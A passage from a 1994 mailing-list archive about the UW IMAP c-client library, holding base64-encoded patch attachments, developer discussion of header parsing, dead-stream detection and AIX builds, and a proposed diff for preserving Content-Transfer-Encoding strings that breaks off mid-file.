IAkJCQkvKiBjYWxjdWxhdGUgYm9keSBzaXplICovCisgICAgICAgaWYgKG0t PmhlYWRlcnNpemUgPj0gaikgbS0+Ym9keXNpemUgPSBtLT5oZWFkZXJzaXpl IC0gajsKKyAgICAgICBpZiAoZSkgewkJCS8qIHNhdyBzdGF0dXMgcG9vcD8g Ki8KKyAJKmUrKyA9ICdcbic7CQkvKiBwYXRjaCBpbiB0cmFpbGluZyBuZXds aW5lICovCisgCW0tPmhlYWRlcnNpemUgPSBlIC0gbS0+aGVhZGVyOworICAg ICAgIH0KKyAgICAgICBlbHNlIG0tPmhlYWRlcnNpemUgPSBqOwkvKiBzZXQg aGVhZGVyIHNpemUgKi8KKyAgICAgICBzID0gTklMOwkJCS8qIGRvbid0IHNj YW4gYW55IGZ1cnRoZXIgKi8KKyAgICAgICBpcysrOwkJCS8qIGNvdW50IGEg bmV3bGluZSAqLworICAgICAgIGJyZWFrOworICAgICBjYXNlICdcMCc6CQkJ LyogZW5kIG9mIG1lc3NhZ2UgKi8KKyAgICAgICBpZiAoZSkgewkJCS8qIHNh dyBzdGF0dXMgcG9vcD8gKi8KKyAJKmUrKyA9ICdcbic7CQkvKiBwYXRjaCBp biB0cmFpbGluZyBuZXdsaW5lICovCisgCW0tPmhlYWRlcnNpemUgPSBlIC0g bS0+aGVhZGVyOworICAgICAgIH0KKyAgICAgICBpcysrOwkJCS8qIGNvdW50 IGFuIGV4dHJhIG5ld2xpbmUgaGVyZSAqLworICAgICAgIGJyZWFrOwogICAg ICBkZWZhdWx0OgkJCS8qIGFueXRoaW5nIGVsc2UgaXMgdW5pbnRlcmVzdGlu ZyAqLwogICAgICAgIGlmIChlKSB7CQkJLyogaGF2ZSBzdGF0dXMgc3R1ZmYg dG8gd29ycnkgYWJvdXQ/ICovCiAgCWogPSBzIC0gZTsJCS8qIHl1Y2shISAg Y2FsY3VsYXRlIHNpemUgb2YgZGVsZXRlIGFyZWEgKi8K --16819560-2078917053-782107966=:5052 Content-Type: APPLICATION/OCTET-STREAM; NAME="mmdf.dif" Content-Transfer-Encoding: BASE64 Content-Description: attached file KioqIG1tZGYuYwlUaHUgT2N0IDEzIDIxOjAxOjU3IDE5OTQKLS0tIG1tZGYu Y34JVGh1IE9jdCAgNiAxNTozMTo1MiAxOTk0CioqKioqKioqKioqKioqKgoq KiogMTAsMTYgKioqKgogICAqCQlJbnRlcm5ldDogTVJDQENBQy5XYXNoaW5n dG9uLkVEVQogICAqCiAgICogRGF0ZToJMTUgTWF5IDE5OTMKISAgKiBMYXN0 IEVkaXRlZDoJMTMgT2N0b2JlciAxOTk0CiAgICoKICAgKiBDb3B5cmlnaHQg MTk5NCBieSB0aGUgVW5pdmVyc2l0eSBvZiBXYXNoaW5ndG9uCiAgICoKLS0t IDEwLDE2IC0tLS0KICAgKgkJSW50ZXJuZXQ6IE1SQ0BDQUMuV2FzaGluZ3Rv bi5FRFUKICAgKgogICAqIERhdGU6CTE1IE1heSAxOTkzCiEgICogTGFzdCBF ZGl0ZWQ6CTYgT2N0b2JlciAxOTk0CiAgICoKICAgKiBDb3B5cmlnaHQgMTk5 NCBieSB0aGUgVW5pdmVyc2l0eSBvZiBXYXNoaW5ndG9uCiAgICoKKioqKioq KioqKioqKioqCioqKiAxMzcwLDE0MDEgKioqKgogICAgICBpcyA9IDA7CQkJ LyogaW5pdGlhbGl6ZSBuZXdsaW5lIGNvdW50ICovCiAgICAgIGUgPSBOSUw7 CQkJLyogbm8gc3RhdHVzIHN0dWZmIHlldCAqLwogICAgICBkbyBzd2l0Y2gg KCoodCA9IHMpKSB7CS8qIGxvb2sgYXQgaGVhZGVyIGxpbmVzICovCi0gICAg IGNhc2UgJ1xuJzoJCQkvKiBlbmQgb2YgaGVhZGVyICovCi0gICAgICAgbS0+ Ym9keSA9ICsrczsJCS8qIHN0YXJ0IG9mIGJvZHkgaXMgaGVyZSAqLwotICAg ICAgIGogPSBtLT5ib2R5IC0gbS0+aGVhZGVyOwkvKiBuZXcgaGVhZGVyIHNp emUgKi8KLSAJCQkJLyogY2FsY3VsYXRlIGJvZHkgc2l6ZSAqLwotICAgICAg IG0tPmJvZHlzaXplID0gKGogPD0gbS0+aGVhZGVyc2l6ZSkgPyBtLT5oZWFk ZXJzaXplIC0gaiA6IDA7Ci0gICAgICAgaWYgKGUpIHsJCQkvKiBzYXcgc3Rh dHVzIHBvb3A/ICovCi0gCSplKysgPSAnXG4nOwkJLyogcGF0Y2ggaW4gdHJh aWxpbmcgbmV3bGluZSAqLwotIAltLT5oZWFkZXJzaXplID0gZSAtIG0tPmhl YWRlcjsKLSAgICAgICB9Ci0gICAgICAgZWxzZSBtLT5oZWFkZXJzaXplID0g ajsJLyogc2V0IGhlYWRlciBzaXplICovCi0gICAgICAgcyA9IE5JTDsJCQkv KiBkb24ndCBzY2FuIGFueSBmdXJ0aGVyICovCi0gICAgICAgaXMrKzsJCQkv KiBjb3VudCBhIG5ld2xpbmUgKi8KLSAgICAgICBicmVhazsKLSAgICAgY2Fz ZSAnXDAnOgkJCS8qIGVuZCBvZiBtZXNzYWdlICovCi0gICAgICAgaWYgKGUp IHsJCQkvKiBzYXcgc3RhdHVzIHBvb3A/ICovCi0gCSplKysgPSAnXG4nOwkJ LyogcGF0Y2ggaW4gdHJhaWxpbmcgbmV3bGluZSAqLwotIAltLT5oZWFkZXJz aXplID0gZSAtIG0tPmhlYWRlcjsKLSAgICAgICB9Ci0gICAgICAgaXMrKzsJ CQkvKiBjb3VudCBhbiBleHRyYSBuZXdsaW5lIGhlcmUgKi8KLSAgICAgICBi cmVhazsKLSAMCiAgICAgIGNhc2UgJ1gnOgkJCS8qIHBvc3NpYmxlIFgtU3Rh dHVzOiBsaW5lICovCiEgICAgICAgaWYgKHNbMV0gPT0gJy0nKSBzICs9IDI7 CS8qIHNraXAgcGFzdCBYLSAqLwogICAgICBjYXNlICdTJzoJCQkvKiBwb3Nz aWJsZSBTdGF0dXM6IGxpbmUgKi8KISAgICAgICBpZiAoc1swXSA9PSAnUycg JiYgc1sxXSA9PSAndCcgJiYgc1syXSA9PSAnYScgJiYgc1szXSA9PSAndCcg JiYKISAJICBzWzRdID09ICd1JyAmJiBzWzVdID09ICdzJyAmJiBzWzZdID09 ICc6JykgewogIAlpZiAoIWUpIGUgPSB0OwkJLyogbm90ZSBkZWxldGlvbiBw b2ludCAqLwogIAlzICs9IDY7CQkJLyogYWR2YW5jZSB0byBzdGF0dXMgZmxh Z3MgKi8KICAJZG8gc3dpdGNoICgqcysrKSB7CS8qIHBhcnNlIGZsYWdzICov Ci0tLSAxMzcwLDEzODQgLS0tLQogICAgICBpcyA9IDA7CQkJLyogaW5pdGlh bGl6ZSBuZXdsaW5lIGNvdW50ICovCiAgICAgIGUgPSBOSUw7CQkJLyogbm8g c3RhdHVzIHN0dWZmIHlldCAqLwogICAgICBkbyBzd2l0Y2ggKCoodCA9IHMp KSB7CS8qIGxvb2sgYXQgaGVhZGVyIGxpbmVzICovCiAgICAgIGNhc2UgJ1gn OgkJCS8qIHBvc3NpYmxlIFgtU3RhdHVzOiBsaW5lICovCiEgICAgICAgaWYg KHNbMV0gPT0gJy0nICYmIHNbMl0gPT0gJ1MnKSBzICs9IDI7CiEgICAgICAg ZWxzZSB7CiEgCWlzKys7CQkJLyogY291bnQgYW5vdGhlciBuZXdsaW5lICov CiEgCWJyZWFrOwkJCS8qIHRoaXMgaXMgdW5pbnRlcmVzdGluZyBhZnRlciBh bGwgKi8KISAgICAgICB9CiAgICAgIGNhc2UgJ1MnOgkJCS8qIHBvc3NpYmxl IFN0YXR1czogbGluZSAqLwohICAgICAgIGlmIChzWzFdID09ICd0JyAmJiBz WzJdID09ICdhJyAmJiBzWzNdID09ICd0JyAmJiBzWzRdID09ICd1JyAmJgoh IAkgIHNbNV0gPT0gJ3MnICYmIHNbNl0gPT0gJzonKSB7CiAgCWlmICghZSkg ZSA9IHQ7CQkvKiBub3RlIGRlbGV0aW9uIHBvaW50ICovCiAgCXMgKz0gNjsJ CQkvKiBhZHZhbmNlIHRvIHN0YXR1cyBmbGFncyAqLwogIAlkbyBzd2l0Y2gg KCpzKyspIHsJLyogcGFyc2UgZmxhZ3MgKi8KKioqKioqKioqKioqKioqCioq KiAxNDIyLDE0MzEgKioqKgogIAl9IHdoaWxlICgqcyAmJiAqcyAhPSAnXG4n KTsKICAJCQkJLyogcmVjYWxjdWxhdGUgU3RhdHVzL1gtU3RhdHVzIGxpbmVz ICovCiAgCW1tZGZfdXBkYXRlX3N0YXR1cyAobS0+c3RhdHVzLGVsdCk7Ci0g CWJyZWFrOwkJCS8qIGFsbCBkb25lICovCiAgICAgICAgfQohIAkJCQkvKiBv dGhlcndpc2UgZmFsbCBpbnRvIGRlZmF1bHQgY2FzZSAqLwogIAwKICAgICAg ZGVmYXVsdDoJCQkvKiBhbnl0aGluZyBlbHNlIGlzIHVuaW50ZXJlc3Rpbmcg Ki8KICAgICAgICBpZiAoZSkgewkJCS8qIGhhdmUgc3RhdHVzIHN0dWZmIHRv IHdvcnJ5IGFib3V0PyAqLwogIAlqID0gcyAtIGU7CQkvKiB5dWNrISEgIGNh bGN1bGF0ZSBzaXplIG9mIGRlbGV0ZSBhcmVhICovCi0tLSAxNDA1LDE0MzQg LS0tLQogIAl9IHdoaWxlICgqcyAmJiAqcyAhPSAnXG4nKTsKICAJCQkJLyog cmVjYWxjdWxhdGUgU3RhdHVzL1gtU3RhdHVzIGxpbmVzICovCiAgCW1tZGZf dXBkYXRlX3N0YXR1cyAobS0+c3RhdHVzLGVsdCk7CiAgICAgICAgfQohICAg ICAgIGVsc2UgaXMrKzsJCS8qIG90aGVyd2lzZSByYW5kb20gbGluZSAqLwoh ICAgICAgIGJyZWFrOwogIAwKKyAgICAgY2FzZSAnXG4nOgkJCS8qIGVuZCBv ZiBoZWFkZXIgKi8KKyAgICAgICBtLT5ib2R5ID0gKytzOwkJLyogc3RhcnQg b2YgYm9keSBpcyBoZXJlICovCisgICAgICAgaiA9IG0tPmJvZHkgLSBtLT5o ZWFkZXI7CS8qIG5ldyBoZWFkZXIgc2l6ZSAqLworIAkJCQkvKiBjYWxjdWxh dGUgYm9keSBzaXplICovCisgICAgICAgbS0+Ym9keXNpemUgPSAoaiA8PSBt LT5oZWFkZXJzaXplKSA/IG0tPmhlYWRlcnNpemUgLSBqIDogMDsKKyAgICAg ICBpZiAoZSkgewkJCS8qIHNhdyBzdGF0dXMgcG9vcD8gKi8KKyAJKmUrKyA9 ICdcbic7CQkvKiBwYXRjaCBpbiB0cmFpbGluZyBuZXdsaW5lICovCisgCW0t PmhlYWRlcnNpemUgPSBlIC0gbS0+aGVhZGVyOworICAgICAgIH0KKyAgICAg ICBlbHNlIG0tPmhlYWRlcnNpemUgPSBqOwkvKiBzZXQgaGVhZGVyIHNpemUg Ki8KKyAgICAgICBzID0gTklMOwkJCS8qIGRvbid0IHNjYW4gYW55IGZ1cnRo ZXIgKi8KKyAgICAgICBpcysrOwkJCS8qIGNvdW50IGEgbmV3bGluZSAqLwor ICAgICAgIGJyZWFrOworICAgICBjYXNlICdcMCc6CQkJLyogZW5kIG9mIG1l c3NhZ2UgKi8KKyAgICAgICBpZiAoZSkgewkJCS8qIHNhdyBzdGF0dXMgcG9v cD8gKi8KKyAJKmUrKyA9ICdcbic7CQkvKiBwYXRjaCBpbiB0cmFpbGluZyBu ZXdsaW5lICovCisgCW0tPmhlYWRlcnNpemUgPSBlIC0gbS0+aGVhZGVyOwor ICAgICAgIH0KKyAgICAgICBpcysrOwkJCS8qIGNvdW50IGFuIGV4dHJhIG5l d2xpbmUgaGVyZSAqLworICAgICAgIGJyZWFrOwogICAgICBkZWZhdWx0OgkJ CS8qIGFueXRoaW5nIGVsc2UgaXMgdW5pbnRlcmVzdGluZyAqLwogICAgICAg IGlmIChlKSB7CQkJLyogaGF2ZSBzdGF0dXMgc3R1ZmYgdG8gd29ycnkgYWJv dXQ/ICovCiAgCWogPSBzIC0gZTsJCS8qIHl1Y2shISAgY2FsY3VsYXRlIHNp emUgb2YgZGVsZXRlIGFyZWEgKi8K --16819560-2078917053-782107966=:5052-- From pinedev@shivax2.cac.washington.edu Fri Oct 14 08:37:11 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.30 ) id AA04993; Fri, 14 Oct 94 08:37:11 -0700 Received: by mx2.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.30 ) id AA02928; Fri, 14 Oct 94 08:36:40 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from mail.nada.kth.se by mx2.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.30 ) id AA02922; Fri, 14 Oct 94 08:36:38 -0700 Received: from staff.nada.kth.se by mail.nada.kth.se (5.61-bind 1.4+ida/nada-mx-1.0) id AA07205; Fri, 14 Oct 94 16:36:36 +0100 Message-Id: <9410141536.AA07205@nada.kth.se> To: c-client Interest List Subject: Re: C-client removes header lines? In-Reply-To: from "Mark Crispin " "Thu, 13 Oct 1994 21:08:15 -0700 (PDT) " Date: Fri, 14 Oct 1994 16:36:35 +0100 From: Peter Svanberg Quoting: Mark Crispin > > Peter - > > Thank you very much for your bug report, and especially for mentioning > the *very* important detail that it was a Subject: line that got lost. You're welcome! I hope this is not an indication of the overall quality of the C-client code... ;-) My test case works fine with your patches. Thanks! Peter Svanberg From pinedev@shivax2.cac.washington.edu Thu Oct 20 20:46:34 1994 -0700 Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.9/UW-NDC Revision: 2.30 ) id AA23880; Thu, 20 Oct 94 20:46:34 -0700 Received: by mx2.cac.washington.edu (5.65+UW94.9/UW-NDC Revision: 2.30 ) id AA09422; Thu, 20 Oct 94 20:46:11 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from CAMIS.Stanford.EDU by mx2.cac.washington.edu (5.65+UW94.9/UW-NDC Revision: 2.30 ) id AA09398; Thu, 20 Oct 94 20:46:06 -0700 Received: (mtm@localhost) by CAMIS.Stanford.EDU (8.6.8.1/8.6.5) id UAA23494; Thu, 20 Oct 1994 20:46:04 -0700 Date: Thu, 20 Oct 1994 20:46:04 -0700 From: Mike Macgirvin Message-Id: <199410210346.UAA23494@CAMIS.Stanford.EDU> To: mrc@CAMIS.Stanford.EDU Subject: client detection of dead stream? Cc: c-client@cac.washington.edu, mtm@CAMIS.Stanford.EDU Any way for a c-client client to figure out whether or not it's dealing with a dead stream, so as to take some appropriate action? It appears that handle = mail_makehandle(ms); called immediately after open, and then if((mail_stream(handle)) == NIL) /* it's gone */ called at check time (and/or other convenient access points) would do it. Is this in fact the best way, or are there any other methods I should consider? mike From pinedev@shivax2.cac.washington.edu Thu Oct 20 21:24:32 1994 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.9/UW-NDC Revision: 2.30 ) id AA24849; Thu, 20 Oct 94 21:24:32 -0700 Received: by mx1.cac.washington.edu (5.65+UW94.9/UW-NDC Revision: 2.30 ) id AA07341; Thu, 20 Oct 94 21:24:27 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from tomobiki-cho.cac.washington.edu by mx1.cac.washington.edu (5.65+UW94.9/UW-NDC Revision: 2.30 ) id AA07335; Thu, 20 Oct 94 21:24:25 -0700 Received: from UW-Gateway.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA16914; Thu, 20 Oct 94 21:24:16 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA00667; Thu, 20 Oct 94 21:23:19 -0700 Date: Thu, 20 Oct 1994 21:19:17 -0700 (PDT) From: Mark Crispin Subject: re: client detection of dead stream? To: Mike Macgirvin Cc: c-client@cac.washington.edu In-Reply-To: <199410210346.UAA23494@CAMIS.Stanford.EDU> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Mike - The preferred method to see if a stream is still viable is to check the return value from mail_ping() which I hope you are using at ``check time'' instead of mail_check(). mail_check() is ``checkpoint'', not ``check for new mail''. Using mail_makehandle()/mail_stream() as you suggest will tell you if you have called mail_close() on that stream (e.g. in another thread or object), but it won't tell you if an IMAP connection died. -- Mark -- From pinedev@shivax2.cac.washington.edu Tue Oct 25 01:38:20 1994 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.9/UW-NDC Revision: 2.30 ) id AA11900; Tue, 25 Oct 94 01:38:20 -0700 Received: by mx2.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.30 ) id AA14076; Tue, 25 Oct 94 01:32:33 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from vm1.ulg.ac.be by mx2.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.30 ) id AA14070; Tue, 25 Oct 94 01:32:29 -0700 Received: from aix1.segi.ulg.ac.be by vm1.ulg.ac.be (IBM VM SMTP V2R2) with TCP; Tue, 25 Oct 94 09:31:12 +0200 Received: by aix1.segi.ulg.ac.be (AIX 3.2/UCB 5.64/4.03) id AA27150; Tue, 25 Oct 1994 09:32:22 +0100 From: "Michel Minsoul" Message-Id: <9410250832.AA27150@aix1.segi.ulg.ac.be> Subject: c-client makefile for AIX To: c-client@cac.washington.edu Date: Tue, 25 Oct 1994 09:32:22 +22320036 (CET) X-Mailer: ELM [version 2.4 PL21] Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 626 I have just downloaded XlView-2.3 form Stanford and i am trying to install it. XlView use the c-client package supplied by the University of Washington. This c-client provided with xlview does'nt contain a specific makefile for AIX 3.2.5. Which of the makefile provided should i use for my AIX system or what modifications should i apply to make one of these makefile work on AIX ? Thanks in advance. -- Michel MINSOUL System & Network Administrator SEGI, University of Liege B26 - Sart Tilman B-4000 Liege (Belgium) E-mail: minsoul@segi.ulg.ac.be VOICE: +32 (41) 564977 FAX: +32 (41) 562920 From pinedev@shivax2.cac.washington.edu Tue Oct 25 01:50:40 1994 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.9/UW-NDC Revision: 2.30 ) id AA12103; Tue, 25 Oct 94 01:50:40 -0700 Received: by mx1.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.30 ) id AA12024; Tue, 25 Oct 94 01:47:53 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mailhost2.cac.washington.edu by mx1.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.30 ) id AA12018; Tue, 25 Oct 94 01:47:51 -0700 Received: from tomobiki-cho.cac.washington.edu by mailhost2.cac.washington.edu (5.65+UW94.9/UW-NDC Revision: 2.30 ) id AA27438; Tue, 25 Oct 94 01:47:41 -0700 Date: Tue, 25 Oct 1994 01:47:40 -0700 (PDT) From: Mark Crispin To: Michel Minsoul Cc: c-client@cac.washington.edu Subject: Re: c-client makefile for AIX In-Reply-To: <9410250832.AA27150@aix1.segi.ulg.ac.be> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I suggest that you get the latest c-client from ftp.cac.washington.edu, file mail/imap.tar.Z You can then use the a32 port (command ``make a32''). -- Mark -- On Tue, 25 Oct 1994, Michel Minsoul wrote: > I have just downloaded XlView-2.3 form Stanford and i am trying to > install it. XlView use the c-client package supplied by the University of > Washington. This c-client provided with xlview does'nt contain a specific > makefile for AIX 3.2.5. Which of the makefile provided should i use for my AIX > system or what modifications should i apply to make one of these makefile > work on AIX ? > > Thanks in advance. > > > -- > Michel MINSOUL > System & Network Administrator > SEGI, University of Liege > B26 - Sart Tilman > B-4000 Liege (Belgium) > E-mail: minsoul@segi.ulg.ac.be > VOICE: +32 (41) 564977 > FAX: +32 (41) 562920 > From pinedev@shivax2.cac.washington.edu Thu Oct 27 08:21:44 1994 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA06301; Thu, 27 Oct 94 08:21:44 -0700 Received: by mx1.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA12421; Thu, 27 Oct 94 08:21:13 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tochna.technion.ac.il by mx1.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA12415; Thu, 27 Oct 94 08:21:05 -0700 Received: from localhost (dimka@localhost) by tochna.technion.ac.il (8.6.4/8.6.4) id RAA21202; Thu, 27 Oct 1994 17:21:10 -0200 Date: Thu, 27 Oct 1994 17:21:10 -0200 From: Dimitry Kloper Message-Id: <199410271921.RAA21202@tochna.technion.ac.il> Subject: help To: c-client@CAC.Washington.EDU help From pinedev@shivax2.cac.washington.edu Sun Oct 30 09:13:34 1994 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA11653; Sun, 30 Oct 94 09:13:34 -0800 Received: by mx1.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA22745; Sun, 30 Oct 94 09:13:06 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from xray.li.icl.se by mx1.cac.washington.edu (5.65+UW94.10/UW-NDC Revision: 2.31 ) id AA22733; Sun, 30 Oct 94 09:12:55 -0800 Received: from pctomku (pctomku.li.icl.se [140.150.80.86]) by xray.li.icl.se (8.6.9/tomku_941029) with ESMTP id SAA28755 for ; Sun, 30 Oct 1994 18:12:50 +0100 Message-Id: <199410301712.SAA28755@xray.li.icl.se> Date: Sun, 30 Oct 1994 19:12:41 +0100 From: Tomas Kullman - ICL ProSystems Reply-To: tomas.kullman@li.icl.se Subject: Why Content-Transfer-Encoding: should be passed "as is" To: c-client@cac.washington.edu X-Mailer: EMBLA 1.1 Mime-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="1043395584--638262944-783540764:#1" --1043395584--638262944-783540764:#1 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Hej everybody! The issue is: Should an IMAP server pass the original string value of the Content-Transfer-Encoding: header field? Or not? And why not? Here's a clip from my letter to Mark Crispin dated 26 june 1994: > > What do you mean by ``encodings not recognized by the daemon''? I > > am a little bit confused here. > > Ah. Well, when the daemon analyze a message and prepare to transfer the > structure it matches the 'Transfer-Encoding:' header field against a > static array of strings corresponding to possible encodings. In case of > no match the daemon mark this as "UNKNOWN". Sofar so good. The problem > occurs when transferring of the structure takes place. The encoding is > still marked "UNKNOWN" when arriving to the client. > My opinion is that the daemon should NOT censor this kind of information > at the client. At least not when the MIME specification allows > 'X-myencoding' as a valid encoding. > Can you see my point of view? The reason why we discovered this at all > was because we were experimenting with uuencode inside MIME marking it > with "X-UUENCODE". I know uuencode is a sensitive issue among pro-MIME > people, but we had to deal with the reality and lot of customers was > demanding a swift solution fast. Attached to this message are two messages I sent 27 & 28 june to Mark C. The second message contains a correct patch file that solves the problem. Mark, I hope you don't feel bad about this letter. Back then I think you already left office for vacation and neither of us raised the issue again. I just want this to be settled. I would like to have comments from other persons as well. -- Tomas Kullman Internet Ambassador @ ICL ProSystems AB --1043395584--638262944-783540764:#1 Content-Type: MESSAGE/RFC822 Date: Mon, 27 Jun 1994 13:45:25 -0100 From: Tomas Kullman Reply-To: tomku@li.icl.se Subject: Proposed modification to imap-3.3 To: mrc@cac.washington.edu X-Mailer: PC Mail Manager 1.1 ALFA MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="1043395584--638262944-772717525:#1" Content-Length: 9065 --1043395584--638262944-772717525:#1 X-Sun-Content-Length: 768 Status: RO X-Status: Hi Mark. In an earlier letter to you I was pointing out that our MUA wanted the IMAP daemon to pass Content-Transfer-Encoding: value "as is". We have been made a modification to the c-client and imapd sources to support that. It has been in production (that is, used at our customer sites) for quite a while now. I thought it could be a good idea to incorporate this into the "official" version, if it's okey with you. I have been cleaning up the modification to a minimum, incorporated it in the latest version (imap-3.3 17 June 1994) and finally made a diff on that. See separate text part. I would like you to comment this and how you feel about to apply this to the "official" version. About the c-client modifications for our MUA, I'll be back later. Tomas --1043395584--638262944-772717525:#1 Content-Description: diff(1) on our C-T-E: modification X-Sun-Content-Length: 8071 Jun 27 11:40 1994 diff -crl imap-3.3.orig/ANSI/c-client/mail.c imap-3.3/ANSI/c-client/mail.c Page 1 *** imap-3.3.orig/ANSI/c-client/mail.c Fri Jun 10 10:25:58 1994 --- imap-3.3/ANSI/c-client/mail.c Mon Jun 27 11:32:07 1994 *************** *** 1428,1433 **** --- 1428,1434 ---- { body->type = TYPETEXT; /* content type */ body->encoding = ENC7BIT; /* content encoding */ + body->encoding_string = NIL; /* tomku : content encoding string */ body->subtype = body->id = body->description = NIL; body->parameter = NIL; body->contents.text = NIL; /* no contents yet */ *************** *** 1489,1494 **** --- 1490,1497 ---- void mail_free_body_data (BODY *body) { + /* tomku : give away encoding string */ + if (body->encoding_string) fs_give ((void **) &body->encoding_string); if (body->subtype) fs_give ((void **) &body->subtype); mail_free_body_parameter (&body->parameter); if (body->id) fs_give ((void **) &body->id); Jun 27 11:40 1994 diff -crl imap-3.3.orig/ANSI/c-client/mail.h imap-3.3/ANSI/c-client/mail.h Page 1 *** imap-3.3.orig/ANSI/c-client/mail.h Fri Jun 10 08:34:03 1994 --- imap-3.3/ANSI/c-client/mail.h Mon Jun 27 11:15:13 1994 *************** *** 203,208 **** --- 203,209 ---- BODY { unsigned short type; /* body primary type */ unsigned short encoding; /* body transfer encoding */ + char *encoding_string; /* tomku : body transfer encoding string */ char *subtype; /* subtype string */ PARAMETER *parameter; /* parameter list */ char *id; /* body identifier */ Jun 27 11:40 1994 diff -crl imap-3.3.orig/ANSI/c-client/rfc822.c imap-3.3/ANSI/c-client/rfc822.c Page 1 *** imap-3.3.orig/ANSI/c-client/rfc822.c Fri Apr 15 08:08:55 1994 --- imap-3.3/ANSI/c-client/rfc822.c Mon Jun 27 11:25:13 1994 *************** *** 307,313 **** strcpy (*dst += strlen (*dst),"\015\012"); if (body->encoding) /* note: encoding 7BIT never output! */ sprintf (*dst += strlen (*dst),"Content-Transfer-Encoding: %s\015\012", ! body_encodings[body->encoding]); if (body->id) sprintf (*dst += strlen (*dst),"Content-ID: %s\015\012", body->id); if (body->description) --- 307,315 ---- strcpy (*dst += strlen (*dst),"\015\012"); if (body->encoding) /* note: encoding 7BIT never output! */ sprintf (*dst += strlen (*dst),"Content-Transfer-Encoding: %s\015\012", ! /* tomku : we already know the encoding string */ ! /*body_encodings[body->encoding]);*/ ! body->encoding_string); if (body->id) sprintf (*dst += strlen (*dst),"Content-ID: %s\015\012", body->id); if (body->description) *************** *** 733,738 **** --- 735,742 ---- else if (!strcmp (name+1,"RANSFER-ENCODING")) { /* flush out any confusing whitespace */ if (t = strchr (ucase (s),' ')) *t = '\0'; + /* tomku : remember original encoding string */ + body->encoding_string = cpystr(s); /* search for body encoding */ for (i = 0; (i < ENCOTHER) && strcmp (s,body_encodings[i]); i++); body->encoding = i; /* set body type */ Jun 27 11:40 1994 diff -crl imap-3.3.orig/ANSI/imapd/imapd.c imap-3.3/ANSI/imapd/imapd.c Page 1 *** imap-3.3.orig/ANSI/imapd/imapd.c Wed Jun 8 23:44:13 1994 --- imap-3.3/ANSI/imapd/imapd.c Mon Jun 27 11:36:27 1994 *************** *** 1002,1008 **** putchar (' '); pstring (body->description); putchar (' '); ! pstring ((char *) body_encodings[body->encoding]); printf (" %d",body->size.bytes); switch (body->type) { /* extra stuff depends upon body type */ case TYPEMESSAGE: --- 1002,1010 ---- putchar (' '); pstring (body->description); putchar (' '); ! /* tomku : already know encoding string */ ! /*pstring ((char *) body_encodings[body->encoding]);*/ ! pstring (body->encoding_string); printf (" %d",body->size.bytes); switch (body->type) { /* extra stuff depends upon body type */ case TYPEMESSAGE: Jun 27 11:40 1994 diff -crl imap-3.3.orig/non-ANSI/c-client/mail.c imap-3.3/non-ANSI/c-client/mail.c Page 1 *** imap-3.3.orig/non-ANSI/c-client/mail.c Fri Jun 10 10:26:58 1994 --- imap-3.3/non-ANSI/c-client/mail.c Mon Jun 27 11:30:24 1994 *************** *** 1560,1565 **** --- 1560,1566 ---- { body->type = TYPETEXT; /* content type */ body->encoding = ENC7BIT; /* content encoding */ + body->encoding_string = NIL; /* tomku : content encoding string */ body->subtype = body->id = body->description = NIL; body->parameter = NIL; body->contents.text = NIL; /* no contents yet */ *************** *** 1623,1628 **** --- 1624,1631 ---- void mail_free_body_data (body) BODY *body; { + /* tomku : give away encoding string */ + if (body->encoding_string) fs_give ((void **) &body->encoding_string); if (body->subtype) fs_give ((void **) &body->subtype); mail_free_body_parameter (&body->parameter); if (body->id) fs_give ((void **) &body->id); Jun 27 11:40 1994 diff -crl imap-3.3.orig/non-ANSI/c-client/mail.h imap-3.3/non-ANSI/c-client/mail.h Page 1 *** imap-3.3.orig/non-ANSI/c-client/mail.h Fri Jun 10 08:33:56 1994 --- imap-3.3/non-ANSI/c-client/mail.h Mon Jun 27 11:15:36 1994 *************** *** 203,208 **** --- 203,209 ---- BODY { unsigned short type; /* body primary type */ unsigned short encoding; /* body transfer encoding */ + char *encoding_string; /* tomku : body transfer encoding string */ char *subtype; /* subtype string */ PARAMETER *parameter; /* parameter list */ char *id; /* body identifier 